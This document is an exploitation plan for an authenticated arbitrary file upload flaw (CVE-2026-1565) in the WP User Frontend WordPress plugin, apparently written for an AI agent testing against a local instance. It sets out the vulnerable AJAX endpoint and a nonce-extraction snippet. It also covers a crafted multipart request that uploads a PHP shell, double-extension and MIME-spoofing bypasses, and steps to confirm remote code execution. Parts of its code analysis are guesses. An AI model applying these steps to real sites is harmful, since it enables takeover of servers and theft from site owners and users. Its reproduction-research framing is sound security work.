User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.2.8 - Authenticated (Author+) Arbitrary File Upload

This research plan outlines the steps to analyze and exploit CVE-2026-1565, an arbitrary file upload vulnerability in the "WP User Frontend" plugin.

1. Vulnerability Summary

The vulnerability exists in the WPUF_Admin_Settings and Admin_Tools classes, specifically within the check_filetype_and_ext functions. These functions are used as filters for the WordPress core wp_check_filetype_and_ext hook. The logic in these functions incorrectly validates or overrides the results of WordPress's native file type checks. By manipulating the filename or MIME type, an authenticated user with Author-level access or above can bypass security restrictions and upload executable PHP files to the server.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Action: wpuf_import_forms (registered in admin/class-admin-settings.php)
• HTTP Parameter: import_file (the multipart file upload field)
• Authentication: Authenticated, Author level and above.
• Precondition: The plugin must be active. By default, the wpuf_admin_role might be restricted to administrators, but the CVE description specifies "Author+", implying that in many configurations or by design, these users can access the import functionality.

3. Code Flow

1. Entry Point: The attacker sends a POST request to admin-ajax.php with action=wpuf_import_forms.
2. Handler: WPUF_Admin_Settings::import_forms() is invoked.
3. Upload Trigger: Inside import_forms(), the plugin calls wp_handle_upload() to process $_FILES['import_file'].
4. Vulnerable Filter: During wp_handle_upload(), WordPress triggers the wp_check_filetype_and_ext filter. The plugin has registered WPUF_Admin_Settings::check_filetype_and_ext() (or Admin_Tools::check_filetype_and_ext) to this filter.
5. Logic Failure: The function check_filetype_and_ext($data, $file, $filename, $mimes) likely checks if the file is intended to be a JSON file (the expected format for form imports). If the logic incorrectly trusts the extension (e.g., checking for .json anywhere in the name) or fails to validate the actual content while overriding the $data['ext'] and $data['type'] values, it forces WordPress to treat a .php file as a valid .json upload.
6. Persistence: wp_handle_upload() moves the file to the wp-content/uploads/YYYY/MM/ directory. Even if the subsequent "import" logic (which expects JSON) fails, the PHP file remains on the server.

4. Nonce Acquisition Strategy

The AJAX action wpuf_import_forms is likely protected by a nonce. Based on the plugin structure in admin/class-admin-settings.php, the import functionality is located in the "Tools" menu.

1. Identify Location: The tools page is at wp-admin/admin.php?page=wpuf_tools.
2. Navigate: Use browser_navigate to access the Tools page as an Author-level user.
3. Extract Nonce: The nonce is likely localized via wp_localize_script. Search for script tags containing wpuf_admin or wpuf_tools objects.
   • Candidate JS Variable: window.wpuf_admin or window.wpuf_import_nonce.
   • Execution:

     // Example guess based on common WPUF patterns
     browser_eval("window.wpuf_admin?.nonce || document.querySelector('#wpuf_import_forms_nonce')?.value")
     

4. Verification: If no nonce check is found in the import_forms function (via manual inspection of the admin/class-admin-settings.php full source), the check may be missing entirely.

5. Exploitation Strategy

1. Preparation: Prepare a PHP shell payload named exploit.php.
2. Alternative Filename: If the filter specifically looks for .json, use exploit.php.json. If the filter is flawed, it will allow the upload and keep the .php extension in the final path or allow a double extension.
3. Request Construction:
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: multipart/form-data
   • Body Parameters:
     • action: wpuf_import_forms
     • _wpnonce: [EXTRACTED_NONCE]
     • import_file: [FILE_CONTENT] (filename: exploit.php)
4. Execution: Send the request using http_request.
5. Path Discovery: The response from wp_ajax_wpuf_import_forms usually returns the result of the import. If it fails due to invalid JSON, look for the file path in the wp-content/uploads/ directory for the current year/month.

6. Test Data Setup

1. Create Author User:

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

2. Ensure Access (If needed): If the plugin restricts the Tools page to admins, elevate the Author role or adjust WPUF settings:

   wp option update wpuf_admin_role author
   

3. Identify Current Upload Dir:

   wp eval 'echo wp_upload_dir()["url"];'
   

7. Expected Results

• Success Response: The AJAX request returns a success message or a JSON error indicating the file was uploaded but could not be parsed as JSON.
• File Presence: A file named exploit.php (or similar) is created in /var/www/html/wp-content/uploads/YYYY/MM/.
• RCE: Accessing http://localhost:8080/wp-content/uploads/YYYY/MM/exploit.php executes the PHP code.

8. Verification Steps

1. Check Filesystem:

   find /var/www/html/wp-content/uploads/ -name "exploit.php"
   

2. Test Execution: Use http_request to GET the uploaded file and check for the payload's output (e.g., uid=... if id command was used).

9. Alternative Approaches

• Double Extension: Try exploit.json.php or exploit.php.json.
• Admin Tools Endpoint: The description mentions Admin_Tools::check_filetype_and_ext. Check if there is a separate AJAX action for "Tools" (e.g., wpuf_import_tools) that uses a different class.
• MIME Spoofing: Provide Content-Type: application/json in the multipart part for the PHP file to trick the check_filetype_and_ext logic if it relies on the browser-provided MIME type.